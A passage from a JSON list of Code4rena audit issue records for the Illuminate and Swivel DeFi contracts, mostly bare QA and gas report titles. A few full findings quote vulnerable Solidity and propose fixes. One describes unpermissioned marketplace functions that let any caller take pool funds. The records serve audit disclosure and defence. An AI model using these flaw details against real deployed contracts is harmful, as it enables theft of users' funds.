Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/72", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/67", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/54", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/51", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Division Before Multiplication Can Lead To Zero Rounding Of Return Amount", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/48", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/92cbb0724e594ce025d6b6ed050d3548a38c264b/lender/Lender.sol#L280 # Vulnerability details ## Impact There is a division before multiplication bug that exists in [`lend()`](https://github.com/code-423n4/2022-06-illuminate/blob/92cbb0724e594ce025d6b6ed050d3548a38c264b/lender/Lender.sol#L280) for the Swivel case. If `order.premium` is less than `order.principal` then `returned` will round to zero due to the integer rounding. When this occurs the user's funds are essentially lost. That is because they transfer in the underlying tokens but the amount sent to `yield(u, y, returned, address(this))` will be zero. ## Proof of Concept ```solidity function lend( uint8 p, address u, uint256 m, uint256[] calldata a, address y, Swivel.Order[] calldata o, Swivel.Components[] calldata s ) public unpaused(p) returns (uint256) { // lent represents the number of underlying tokens lent uint256 lent; // returned represents the number of underlying tokens to lend to yield uint256 returned; { uint256 totalFee; // iterate through each order a calculate the total lent and returned for (uint256 i = 0; i < o.length; ) { Swivel.Order memory order = o[i]; // Require the Swivel order provided matches the underlying and maturity market provided if (order.underlying != u) { revert NotEqual('underlying'); } else if (order.maturity > m) { revert NotEqual('maturity'); } // Determine the fee uint256 fee = calculateFee(a[i]); // Track accumulated fees totalFee += fee; // Sum the total amount lent to Swivel (amount of ERC5095 tokens to mint) minus fees lent += a[i] - fee; // Sum the total amount of premium paid from Swivel (amount of underlying to lend to yield) returned += (a[i] - fee) * (order.premium / order.principal); unchecked { i++; } } // Track accumulated fee fees[u] += totalFee; // transfer underlying tokens from user to illuminate Safe.transferFrom(IERC20(u), msg.sender, address(this), lent); // fill the orders on swivel protocol ISwivel(swivelAddr).initiate(o, a, s); yield(u, y, returned, address(this)); } emit Lend(p, u, m, lent); return lent; } ``` Specifically the function `returned += (a[i] - fee) * (order.premium / order.principal);` ## Recommended Mitigation Steps The multiplication should occur before division, that is `((a[i] - fee) * order.premium) / order.principal);`. "}, {"title": "Centralisation Risk: Admin Can Change Important Variables To Steal Funds", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/44", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-06-illuminate-findings", "body": "Centralisation Risk: Admin Can Change Important Variables To Steal Funds"}, {"title": "`Lender.mint()` May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/42", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-06-illuminate-findings", "body": "`Lender.mint()` May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply"}, {"title": "Safe.sol` does not check that a contract exists allowing infinite minting of Illuminate PTs if a market has a zero address for any of the other PTs.", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "Safe.sol` does not check that a contract exists allowing infinite minting of Illuminate PTs if a market has a zero address for any of the other PTs."}, {"title": "The lend function for tempus uses the wrong return value of depositAndFix", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/37", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/92cbb0724e594ce025d6b6ed050d3548a38c264b/lender/Lender.sol#L452-L453 # Vulnerability details ## Impact The depositAndFix function of the TempusController contract returns two uint256 data, the first is the number of shares exchanged for the underlying token, the second is the number of principalToken exchanged for the shares, the second return value should be used in the lend function for tempus. This will cause the contract to mint an incorrect number of illuminateTokens to the user. ## Proof of Concept https://github.com/code-423n4/2022-06-illuminate/blob/92cbb0724e594ce025d6b6ed050d3548a38c264b/lender/Lender.sol#L452-L453 https://github.com/tempus-finance/tempus-protocol/blob/master/contracts/TempusController.sol#L52-L76 ## Tools Used None ## Recommended Mitigation Steps interfaces.sol ``` interface ITempus { function maturityTime() external view returns (uint256); function yieldBearingToken() external view returns (IERC20Metadata); function depositAndFix( Any, Any, uint256, bool, uint256, uint256 ) external returns (uint256, uint256); } ``` Lender.sol ``` (,uint256 returned) = ITempus(tempusAddr).depositAndFix(Any(x), Any(t), a - fee, true, r, d); returned -= illuminateToken.balanceOf(address(this)); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Marketplace calls unimplemented function", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/22", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-06-illuminate-findings", "body": "Marketplace calls unimplemented function"}, {"title": "sellPrincipalToken, buyPrincipalToken, sellUnderlying, buyUnderlying uses pool funds but pays msg.sender", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/21", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/3ca41a9f529980b17fdc67baf8cbee5a8035afab/marketplace/MarketPlace.sol#L136-L189 # Vulnerability details ## Impact Fund loss from marketplace ## Proof of Concept sellPrincipalToken, buyPrincipalToken, sellUnderlying, buyUnderlying are all unpermissioned and use marketplace funds to complete the action but send the resulting tokens to msg.sender. This means that any address can call these functions and steal the resulting funds ## Tools Used ## Recommended Mitigation Steps All functions should use safetransfer to get funds from msg.sender not from marketplace "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/12", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/4", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/1", "labels": [], "target": "2022-06-illuminate-findings", "body": "Agreement & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/200", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/198", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/197", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "sponsor disputed", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/195", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/194", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "sponsor disputed", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/193", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/190", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": " Front-runnable `approve` of `Erc20`", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "wontfix"], "target": "2022-07-swivel-findings", "body": " Front-runnable `approve` of `Erc20`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/187", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/185", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/184", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/183", "labels": ["bug", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/182", "labels": ["bug", "duplicate", "G (Gas Optimization)", "old-submission-method", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/179", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/176", "labels": ["bug", "duplicate", "G (Gas Optimization)", "resolved"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/174", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/173", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "No Transfer Admin Pattern in Creator.sol, MarketPlace.sol and Swivel.sol", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/172", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "No Transfer Admin Pattern in Creator.sol, MarketPlace.sol and Swivel.sol"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/170", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/169", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/164", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/161", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/160", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/159", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor disputed", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/155", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/152", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/148", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/147", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/142", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/141", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/137", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "VaultTracker miscalculates compounding interest", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/136", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "old-submission-method", "feature?"], "target": "2022-07-swivel-findings", "body": "VaultTracker miscalculates compounding interest"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/135", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/133", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Error in allowance logic", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/129", "labels": ["bug", "2 (Med Risk)", "resolved"], "target": "2022-07-swivel-findings", "body": "Error in allowance logic"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/127", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/126", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/125", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/123", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/122", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Swivel.scheduleFeeChange(), Swivel.setFee() wouldn't work as expected for user preference.", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/118", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-07-swivel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Swivel/Swivel.sol#L473 https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Swivel/Swivel.sol#L495 # Vulnerability details ## Impact Swivel.scheduleFeeChange(), Swivel.setFee() wouldn't work as expected for user preference. Users can't react properly after [ScheduleFeeChange() event](https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Swivel/Swivel.sol#L477) because they don't know whether the new fee settings would be better/worse for them. ## Proof of Concept According to [this explanation](https://github.com/code-423n4/2022-07-swivel#admin-privileges), these functions are to ensure users can feel comfortable. Btw with Swivel.scheduleFeeChange(), it emits only when to change fee settings without detailed values. So users don't know whether the new fee settings will be better or worse for them. Even if the admin is going to set larger feenominators for lower fee percent, users don't know that until actual fees are set using setFee() and such delays are almost meaningless for users. I think we should announce the detailed fee settings with Swivel.scheduleFeeChange() function so that users can react accordingly after checking new fee settings. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps Recommend adding an additional array - pendingFeenominators [here](https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Swivel/Swivel.sol#L37). ``` uint16[4] public pendingFeenominators; ``` And scheduleFeeChange() function should have i, d parameters same as current setFee() function so that pendingFeenominators save new settings. (Also keep original fee settings if some indexs aren't updated.) After that, we can call setFee() without any params and feenominators will be replaced with pendingFeenominators. "}, {"title": "Swivel.setFee() is implemented wrongly.", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/117", "labels": ["bug", "2 (Med Risk)", "resolved"], "target": "2022-07-swivel-findings", "body": "Swivel.setFee() is implemented wrongly."}, {"title": "With most functions in VaultTracker.sol, users can call them only once after maturity has been reached.", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/116", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved"], "target": "2022-07-swivel-findings", "body": "With most functions in VaultTracker.sol, users can call them only once after maturity has been reached."}, {"title": "Missing checks for address (0x0) when assigning values to address state variables", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/113", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "sponsor disputed", "wontfix"], "target": "2022-07-swivel-findings", "body": "Missing checks for address (0x0) when assigning values to address state variables"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/112", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/111", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/110", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/109", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/108", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "User can avoid a large portion of fees by using initiate and combineToken to exit a position", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "wontfix"], "target": "2022-07-swivel-findings", "body": "User can avoid a large portion of fees by using initiate and combineToken to exit a position"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/105", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/102", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/100", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/99", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/98", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/96", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/94", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/93", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/92", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/89", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/88", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/85", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/84", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "No check for zero address while updating owner", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/83", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "sponsor disputed", "wontfix"], "target": "2022-07-swivel-findings", "body": "No check for zero address while updating owner"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/82", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/78", "labels": ["bug", "duplicate", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/77", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/76", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/75", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/74", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "ERC20 Incorrect check on returnedAddress in permit() results in unlimited approval of zero address", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/72", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved"], "target": "2022-07-swivel-findings", "body": "ERC20 Incorrect check on returnedAddress in permit() results in unlimited approval of zero address"}, {"title": "Loss of funds in an underlying protocol would cause catostrophic loss of funds for swivel", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/71", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor disputed", "partial"], "target": "2022-07-swivel-findings", "body": "Loss of funds in an underlying protocol would cause catostrophic loss of funds for swivel"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/67", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/66", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "unpaused(p) modifier missing in authRedeem function", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/64", "labels": ["bug", "2 (Med Risk)", "resolved", 